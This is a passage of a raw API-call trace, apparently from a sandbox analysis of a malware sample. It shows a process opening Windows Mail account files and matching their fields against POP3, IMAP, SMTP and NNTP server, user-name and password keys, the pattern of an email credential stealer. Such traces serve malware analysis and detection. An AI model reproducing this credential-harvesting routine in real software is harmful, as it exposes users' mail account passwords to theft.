Files\\Common Files\\Services\\verisign.bmp\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x10da08, cbMultiByte=754, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n", lpUsedDefaultChar=0x0) returned 754 [0074.197] strlen (_Str="\r\n\r\n 00000001\r\n VeriSign Internet Directory Service\r\n directory.verisign.com\r\n http://www.verisign.com\r\n 00000064\r\n 0000003c\r\n 00000000\r\n NULL\r\n 00000001\r\n D:\\Program Files\\Common Files\\Services\\verisign.bmp\r\n\r\n") returned 0x2f1 [0074.197] strlen (_Str="version") returned 0x7 [0074.197] strlen (_Str="1.0") returned 0x3 [0074.197] strlen (_Str="encoding") returned 0x8 [0074.197] strlen (_Str="utf-16") returned 0x6 [0074.197] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.197] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.197] strlen (_Str="type") returned 0x4 [0074.197] strlen (_Str="DWORD") returned 0x5 [0074.197] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.197] strcmp (_Str1="LDAP_Server_ID", _Str2="Account_Name") returned 1 [0074.197] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Server") returned -1 [0074.197] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Server") returned 1 [0074.197] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Server") returned -1 [0074.197] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Server") returned -1 [0074.197] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_User_Name") returned -1 [0074.197] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_User_Name") returned 1 [0074.197] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_User_Name") returned -1 [0074.198] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_User_Name") returned -1 [0074.198] strcmp (_Str1="LDAP_Server_ID", _Str2="POP3_Password2") returned -1 [0074.198] strcmp (_Str1="LDAP_Server_ID", _Str2="IMAP_Password2") returned 1 [0074.198] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Password2") returned -1 [0074.198] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Password2") returned -1 [0074.198] strcmp (_Str1="LDAP_Server_ID", _Str2="NNTP_Email_Address") returned -1 [0074.198] strcmp (_Str1="LDAP_Server_ID", _Str2="SMTP_Email_Address") returned -1 [0074.198] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Port") returned -1 [0074.198] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Port") returned -1 [0074.198] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Port") returned 1 [0074.198] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Port") returned -1 [0074.198] _strcmpi (_Str1="LDAP_Server_ID", _Str2="SMTP_Secure_Connection") returned -1 [0074.198] _strcmpi (_Str1="LDAP_Server_ID", _Str2="NNTP_Secure_Connection") returned -1 [0074.198] _strcmpi (_Str1="LDAP_Server_ID", _Str2="IMAP_Secure_Connection") returned 1 [0074.198] _strcmpi (_Str1="LDAP_Server_ID", _Str2="POP3_Secure_Connection") returned -1 [0074.198] strlen (_Str="type") returned 0x4 [0074.198] strlen (_Str="SZ") returned 0x2 [0074.198] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.198] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0 [0074.198] strlen (_Str="VeriSign Internet Directory Service") returned 0x23 [0074.198] strlen (_Str="VeriSign Internet Directory Service") returned 0x23 [0074.198] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1 [0074.198] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1 [0074.198] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1 [0074.198] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1 [0074.198] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1 [0074.198] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") returned -1 [0074.198] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Secure_Connection") returned -1 [0074.198] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Secure_Connection") returned -1 [0074.198] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Secure_Connection") returned -1 [0074.198] _strcmpi (_Str1="Account_Name", _Str2="POP3_Secure_Connection") returned -1 [0074.198] strlen (_Str="type") returned 0x4 [0074.198] strlen (_Str="SZ") returned 0x2 [0074.198] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.198] strcmp (_Str1="LDAP_Server", _Str2="Account_Name") returned 1 [0074.198] strcmp (_Str1="LDAP_Server", _Str2="POP3_Server") returned -1 [0074.198] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Server") returned 1 [0074.198] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Server") returned -1 [0074.198] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Server") returned -1 [0074.198] strcmp (_Str1="LDAP_Server", _Str2="POP3_User_Name") returned -1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="IMAP_User_Name") returned 1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="NNTP_User_Name") returned -1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="SMTP_User_Name") returned -1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="POP3_Password2") returned -1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="IMAP_Password2") returned 1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Password2") returned -1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Password2") returned -1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="NNTP_Email_Address") returned -1 [0074.199] strcmp (_Str1="LDAP_Server", _Str2="SMTP_Email_Address") returned -1 [0074.199] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Port") returned -1 [0074.199] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Port") returned -1 [0074.199] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Port") returned 1 [0074.199] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Port") returned -1 [0074.199] _strcmpi (_Str1="LDAP_Server", _Str2="SMTP_Secure_Connection") returned -1 [0074.199] _strcmpi (_Str1="LDAP_Server", _Str2="NNTP_Secure_Connection") returned -1 [0074.199] _strcmpi (_Str1="LDAP_Server", _Str2="IMAP_Secure_Connection") returned 1 [0074.199] _strcmpi (_Str1="LDAP_Server", _Str2="POP3_Secure_Connection") returned -1 [0074.199] strlen (_Str="type") returned 0x4 [0074.199] strlen (_Str="SZ") returned 0x2 [0074.199] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="Account_Name") returned 1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="POP3_Server") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="IMAP_Server") returned 1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Server") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Server") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="POP3_User_Name") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="IMAP_User_Name") returned 1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="NNTP_User_Name") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="SMTP_User_Name") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="POP3_Password2") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="IMAP_Password2") returned 1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Password2") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Password2") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="NNTP_Email_Address") returned -1 [0074.199] strcmp (_Str1="LDAP_URL", _Str2="SMTP_Email_Address") returned -1 [0074.199] _strcmpi (_Str1="LDAP_URL", _Str2="SMTP_Port") returned -1 [0074.199] _strcmpi (_Str1="LDAP_URL", _Str2="NNTP_Port") returned -1 [0074.199] _strcmpi (_Str1="LDAP_URL", _Str2="IMAP_Port") returned 1 [0074.199] _strcmpi (_Str1="LDAP_URL", _Str2="POP3_Port") returned -1 [0074.199] _strcmpi (_Str1="LDAP_URL", _Str2="SMTP_Secure_Connection") returned -1 [0074.199] _strcmpi (_Str1="LDAP_URL", _Str2="NNTP_Secure_Connection") returned -1 [0074.199] _strcmpi (_Str1="LDAP_URL", _Str2="IMAP_Secure_Connection") returned 1 [0074.199] _strcmpi (_Str1="LDAP_URL", _Str2="POP3_Secure_Connection") returned -1 [0074.199] strlen (_Str="type") returned 0x4 [0074.199] strlen (_Str="DWORD") returned 0x5 [0074.199] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.199] strcmp (_Str1="LDAP_Search_Return", _Str2="Account_Name") returned 1 [0074.199] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Server") returned -1 [0074.199] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Server") returned 1 [0074.199] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Server") returned -1 [0074.199] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Server") returned -1 [0074.199] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_User_Name") returned -1 [0074.199] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_User_Name") returned 1 [0074.200] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_User_Name") returned -1 [0074.200] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_User_Name") returned -1 [0074.200] strcmp (_Str1="LDAP_Search_Return", _Str2="POP3_Password2") returned -1 [0074.200] strcmp (_Str1="LDAP_Search_Return", _Str2="IMAP_Password2") returned 1 [0074.200] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Password2") returned -1 [0074.200] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Password2") returned -1 [0074.200] strcmp (_Str1="LDAP_Search_Return", _Str2="NNTP_Email_Address") returned -1 [0074.200] strcmp (_Str1="LDAP_Search_Return", _Str2="SMTP_Email_Address") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Port") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Port") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Port") returned 1 [0074.200] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Port") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Search_Return", _Str2="SMTP_Secure_Connection") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Search_Return", _Str2="NNTP_Secure_Connection") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Search_Return", _Str2="IMAP_Secure_Connection") returned 1 [0074.200] _strcmpi (_Str1="LDAP_Search_Return", _Str2="POP3_Secure_Connection") returned -1 [0074.200] strlen (_Str="type") returned 0x4 [0074.200] strlen (_Str="DWORD") returned 0x5 [0074.200] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="Account_Name") returned 1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Server") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Server") returned 1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Server") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Server") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_User_Name") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_User_Name") returned 1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_User_Name") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_User_Name") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="POP3_Password2") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="IMAP_Password2") returned 1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Password2") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Password2") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="NNTP_Email_Address") returned -1 [0074.200] strcmp (_Str1="LDAP_Timeout", _Str2="SMTP_Email_Address") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Port") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Port") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Port") returned 1 [0074.200] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Port") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Timeout", _Str2="SMTP_Secure_Connection") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Timeout", _Str2="NNTP_Secure_Connection") returned -1 [0074.200] _strcmpi (_Str1="LDAP_Timeout", _Str2="IMAP_Secure_Connection") returned 1 [0074.200] _strcmpi (_Str1="LDAP_Timeout", _Str2="POP3_Secure_Connection") returned -1 [0074.200] strlen (_Str="type") returned 0x4 [0074.200] strlen (_Str="DWORD") returned 0x5 [0074.200] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.200] strcmp (_Str1="LDAP_Authentication", _Str2="Account_Name") returned 1 [0074.200] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Server") returned -1 [0074.200] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Server") returned 1 [0074.200] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Server") returned -1 [0074.200] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Server") returned -1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_User_Name") returned -1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_User_Name") returned 1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_User_Name") returned -1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_User_Name") returned -1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="POP3_Password2") returned -1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="IMAP_Password2") returned 1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Password2") returned -1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Password2") returned -1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="NNTP_Email_Address") returned -1 [0074.201] strcmp (_Str1="LDAP_Authentication", _Str2="SMTP_Email_Address") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Port") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Port") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Port") returned 1 [0074.201] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Port") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Authentication", _Str2="SMTP_Secure_Connection") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Authentication", _Str2="NNTP_Secure_Connection") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Authentication", _Str2="IMAP_Secure_Connection") returned 1 [0074.201] _strcmpi (_Str1="LDAP_Authentication", _Str2="POP3_Secure_Connection") returned -1 [0074.201] strlen (_Str="type") returned 0x4 [0074.201] strlen (_Str="SZ") returned 0x2 [0074.201] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="Account_Name") returned 1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Server") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Server") returned 1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Server") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Server") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_User_Name") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_User_Name") returned 1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_User_Name") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_User_Name") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="POP3_Password2") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="IMAP_Password2") returned 1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Password2") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Password2") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="NNTP_Email_Address") returned -1 [0074.201] strcmp (_Str1="LDAP_Search_Base", _Str2="SMTP_Email_Address") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Port") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Port") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Port") returned 1 [0074.201] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Port") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Search_Base", _Str2="SMTP_Secure_Connection") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Search_Base", _Str2="NNTP_Secure_Connection") returned -1 [0074.201] _strcmpi (_Str1="LDAP_Search_Base", _Str2="IMAP_Secure_Connection") returned 1 [0074.201] _strcmpi (_Str1="LDAP_Search_Base", _Str2="POP3_Secure_Connection") returned -1 [0074.201] strlen (_Str="type") returned 0x4 [0074.201] strlen (_Str="DWORD") returned 0x5 [0074.201] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.201] strcmp (_Str1="LDAP_Simple_Search", _Str2="Account_Name") returned 1 [0074.201] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Server") returned -1 [0074.201] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Server") returned 1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Server") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Server") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_User_Name") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_User_Name") returned 1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_User_Name") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_User_Name") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="POP3_Password2") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="IMAP_Password2") returned 1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Password2") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Password2") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="NNTP_Email_Address") returned -1 [0074.202] strcmp (_Str1="LDAP_Simple_Search", _Str2="SMTP_Email_Address") returned -1 [0074.202] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Port") returned -1 [0074.202] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Port") returned -1 [0074.202] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Port") returned 1 [0074.202] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Port") returned -1 [0074.202] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="SMTP_Secure_Connection") returned -1 [0074.202] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="NNTP_Secure_Connection") returned -1 [0074.202] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="IMAP_Secure_Connection") returned 1 [0074.202] _strcmpi (_Str1="LDAP_Simple_Search", _Str2="POP3_Secure_Connection") returned -1 [0074.202] strlen (_Str="type") returned 0x4 [0074.202] strlen (_Str="SZ") returned 0x2 [0074.202] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="Account_Name") returned 1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="POP3_Server") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_Server") returned 1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Server") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Server") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="POP3_User_Name") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_User_Name") returned 1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_User_Name") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_User_Name") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="POP3_Password2") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="IMAP_Password2") returned 1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Password2") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Password2") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="NNTP_Email_Address") returned -1 [0074.202] strcmp (_Str1="LDAP_Logo", _Str2="SMTP_Email_Address") returned -1 [0074.202] _strcmpi (_Str1="LDAP_Logo", _Str2="SMTP_Port") returned -1 [0074.202] _strcmpi (_Str1="LDAP_Logo", _Str2="NNTP_Port") returned -1 [0074.203] _strcmpi (_Str1="LDAP_Logo", _Str2="IMAP_Port") returned 1 [0074.203] _strcmpi (_Str1="LDAP_Logo", _Str2="POP3_Port") returned -1 [0074.203] _strcmpi (_Str1="LDAP_Logo", _Str2="SMTP_Secure_Connection") returned -1 [0074.203] _strcmpi (_Str1="LDAP_Logo", _Str2="NNTP_Secure_Connection") returned -1 [0074.203] _strcmpi (_Str1="LDAP_Logo", _Str2="IMAP_Secure_Connection") returned 1 [0074.203] _strcmpi (_Str1="LDAP_Logo", _Str2="POP3_Secure_Connection") returned -1 [0074.203] CloseHandle (hObject=0x10c) returned 1 [0074.203] FindNextFileA (in: hFindFile=0x7f72b0, lpFindFileData=0x30ea88 | out: lpFindFileData=0x30ea88) returned 1 [0074.203] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.203] strlen (_Str="account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount") returned 0x37 [0074.203] _mbscpy (in: param_1=0x30ebc8, param_2=0x30ed0c | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.203] strlen (_Str="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail") returned 0x36 [0074.203] _mbscat (in: param_1=0x30ebc8, param_2=0x414078 | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.203] _mbscat (in: param_1=0x30ebc8, param_2=0x30eab4 | out: param_1=0x30ebc8) returned 0x30ebc8 [0074.203] CreateFileA (lpFileName="C:\\Users\\aETAdzjz\\AppData\\Local\\Microsoft\\Windows Mail\\account{1CD43F3B-668B-4CA8-B816-34F74122EC0F}.oeaccount" (normalized: "c:\\users\\aetadzjz\\appdata\\local\\microsoft\\windows mail\\account{1cd43f3b-668b-4ca8-b816-34f74122ec0f}.oeaccount"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x10c [0074.203] GetFileSize (in: hFile=0x10c, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0x2a0 [0074.203] SetFilePointer (in: hFile=0x10c, lDistanceToMove=2, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x2 [0074.204] ReadFile (in: hFile=0x10c, lpBuffer=0x10da08, nNumberOfBytesToRead=0x29e, lpNumberOfBytesRead=0x30e904, lpOverlapped=0x0 | out: lpBuffer=0x10da08*, lpNumberOfBytesRead=0x30e904*=0x29e, lpOverlapped=0x0) returned 1 [0074.205] wcslen (_String="\r\n\r\n Microsoft Communities\r\n d1b457f62689cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n") returned 0x14f [0074.205] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="\r\n\r\n Microsoft Communities\r\n d1b457f62689cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n", cchWideChar=-1, lpMultiByteStr=0x10dcb8, cbMultiByte=336, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="\r\n\r\n Microsoft Communities\r\n d1b457f62689cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n", lpUsedDefaultChar=0x0) returned 336 [0074.205] strlen (_Str="\r\n\r\n Microsoft Communities\r\n d1b457f62689cb01\r\n 00000003\r\n msnews.microsoft.com\r\n\r\n") returned 0x14f [0074.205] strlen (_Str="version") returned 0x7 [0074.205] strlen (_Str="1.0") returned 0x3 [0074.205] strlen (_Str="encoding") returned 0x8 [0074.205] strlen (_Str="utf-16") returned 0x6 [0074.205] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.205] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.205] strlen (_Str="type") returned 0x4 [0074.205] strlen (_Str="SZ") returned 0x2 [0074.205] _mbscpy (in: param_1=0x30d6d8, param_2=0x30d2b9 | out: param_1=0x30d6d8) returned 0x30d6d8 [0074.205] strcmp (_Str1="Account_Name", _Str2="Account_Name") returned 0 [0074.205] strlen (_Str="Microsoft Communities") returned 0x15 [0074.205] strlen (_Str="Microsoft Communities") returned 0x15 [0074.205] strcmp (_Str1="Account_Name", _Str2="POP3_Server") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="IMAP_Server") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="NNTP_Server") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="SMTP_Server") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="POP3_User_Name") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="IMAP_User_Name") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="NNTP_User_Name") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="SMTP_User_Name") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="POP3_Password2") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="IMAP_Password2") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="NNTP_Password2") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="SMTP_Password2") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="NNTP_Email_Address") returned -1 [0074.205] strcmp (_Str1="Account_Name", _Str2="SMTP_Email_Address") returned -1 [0074.205] _strcmpi (_Str1="Account_Name", _Str2="SMTP_Port") returned -1 [0074.205] _strcmpi (_Str1="Account_Name", _Str2="NNTP_Port") returned -1 [0074.205] _strcmpi (_Str1="Account_Name", _Str2="IMAP_Port") returned -1 [0074.205] _strcmpi (_Str1="Account_Name", _Str2="POP3_Port") 